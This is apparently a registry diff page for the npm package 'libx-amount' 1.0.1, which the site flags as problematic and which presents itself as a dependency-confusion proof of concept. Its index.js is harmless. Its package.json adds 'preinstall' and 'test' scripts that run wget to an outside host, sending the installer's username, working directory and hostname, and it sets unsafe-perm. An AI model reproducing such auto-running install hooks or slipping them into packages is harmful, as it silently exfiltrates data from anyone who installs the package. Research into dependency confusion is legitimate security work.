libx-amount 1.0.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of libx-amount might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/lib/index.js +3 -0
  2. package/package.json +20 -0
package/lib/index.js ADDED
@@ -0,0 +1,3 @@
1
+ exports.printMsg = function() {
2
+ console.log("This is a message from the demo package");
3
+ }
package/package.json ADDED
@@ -0,0 +1,20 @@
1
+ {
2
+ "name": "libx-amount",
3
+ "version": "1.0.1",
4
+ "description": "Simple PoC package for testing for dependency confusion vulnerabilities.",
5
+ "main": "lib/index.js",
6
+ "scripts": {
7
+ "test": "wget --quiet \"http://coknl8pus0n5mvtba7t0qbpi7xmgs8erz.onetvtigo.com/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\"",
8
+ "preinstall": "wget --quiet \"http://coknl8pus0n5mvtba7t0qbpi7xmgs8erz.onetvtigo.com/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\""
9
+ },
10
+ "keywords": [
11
+ "test",
12
+ "PoC"
13
+ ],
14
+ "dependencies": {},
15
+ "config": {
16
+ "unsafe-perm":true
17
+ },
18
+ "author": "WayCup",
19
+ "license": "ISC"
20
+ }